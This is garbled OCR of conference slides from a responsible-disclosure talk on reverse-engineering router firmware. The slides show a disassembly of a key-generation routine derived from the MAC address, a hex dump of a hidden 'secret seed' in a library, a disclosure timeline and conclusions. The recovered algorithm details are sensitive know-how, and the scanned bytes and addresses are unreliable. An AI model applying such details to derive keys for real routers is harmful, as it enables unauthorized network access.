jalr t9 ; strlen
nop s
1w gp. 0x28+var_C($fp) . .
1w 20, 0x28+var_10(5fp) [Srd_C is the string
1w a1, Bx2s+arg c($fp) ['1236790" coming
move a2, $vo from generateKey
la v0, SHA256_Update
nove t9, $vo
nop
1w gp, 0x28+var_C(5fp)
1w a8, 0x28+var_16($fp)
1w a1, 0x28+arg_10(5fp)
1i a2, 6 # 6 bytes e
la v0, SHA256_Update
nove 19, $vo
nop
1w gp. 8x28+var_C($fp)
la a8, hash
1w a1, 0x28+var_10($fp)
la v, SHA256_Final

Figure: Dissasembly of generateKey-from-mac
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ADB / Pirell

D Views: = Hex Viewsh | & Structures Enums
[LoAD: 000Dz 138 6.0, 0 0 0 0 0 0, 6.0, 0
LoD : 00002138 6. 0,0 0 0 0 0 0 5. 8, 0
LoD : 00002138 6.0, 0,8 0,6 0 0

LoD : 00002908

L0AD : 000D29ED ~Tdata

LOAD:000D29ED _fdata: 064 # d

L0AD:000D29E 1 0x¢6 3} fdata is the "secret seed" and
LoD :000D29E2 oxpp # | -0

ILoAD:090D2IE3 0xE3 1 Q| it is located at the offsat

LoD :000D79EG 0xE5 1§ 0X000d2920

LoD :000D29ES 0x79 1 y]

LoD :000D29E6 oxge it Al

LoD : 000D29E7 009 1 4]

LoD :000D29E8 0386 1 3|

L0AD : 000D29E9 0x96 1 i

LOAD: 060D29EA 0x8D # 1

LoD :000D29EB 0x3g 4 g

LoAD:000D29EC oxa5 i

LoD :000D29EE 0x3B #

jLoAD: 88BD29EF 8115 dump addiess | 0D2SE0 = |
LoD :000D29F0 oxca f |

ILOAD : 000D29F 1 OxAF 1 »f Cancel Help
L0AD : 000D29F2 0x12

L0AD: 000D29F3 0x04 # 4

LOAD: 000D29F4 2

LoD :000D29F5 oxac # X

LoD :000D79F6 0x56 1 U]

LoD :000D29F7 ]

LoD :000D29F8 5

LoD :000D29F9 OxCE 1 4]

LoD : 000D29FA 0320

LoD :000D29FB 0375 1 uf

LoD : 000D29FC 0x91 1t g

LOAD : 000D29FD 0x3F # 7|

LoAD: 000D29FE oxpc # |

LoAD: 000D29FF

L0AD:000DZABE 201234567 83abci SC11 70 123056789abcde fghij klnnopgrstuvwxyz'<e> Charset
LoD : 00002800 o

i nan:annoaos alinn a

Novella, Meijer, Verdult

Figure: Secret data found out in the library
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Conclusion

Responsible disclosure

® 2014-12-20 Communication with NCSC @

® 2015-01-77 Radboud Nijmegen & NCSC contact with ISPs
© 2015-02-01 Dutch ISPs are aware about the vulnerabilities
O 2015-04-02 1st meeting with ISPs. Presentation

® 2015-04-29 2nd meeting with ISPs. Presentation

® 2015-08-04 Talk at Bsides Las Vegas-PasswordsCON

@ 2015-08-11 Full disclosure at USENIX WOOT'15

https://www.ncsc.nl/english
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Conclusion

% Conclusion

Since SpeedTouch security issue in 2008,
security has not improved whatsoever

This is an industry-wide problem.

Security by Obscurity does not work!

Vendors reuse the same algorithms with slightly small changes

Neither stripped nor obfuscated binaries are a solution

Please do not include algorithms inside of FW images
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Questions and answers

riscurc
Challenge your security

Contact: Eduardo Novella
Security Analyst
NovellaLorente@riscure.com

Riscure B.V. Riscure North America
Frontier Building, Delftechpark 49 71 Stevenson Street, Suite 400
2628 XJ Delft San Francisco, CA 94105

The Netherlands USA

Phone: +31 15 251 40 90 Phone: +1 650 646 99 79
www.riscure.com inforequest@riscure.com
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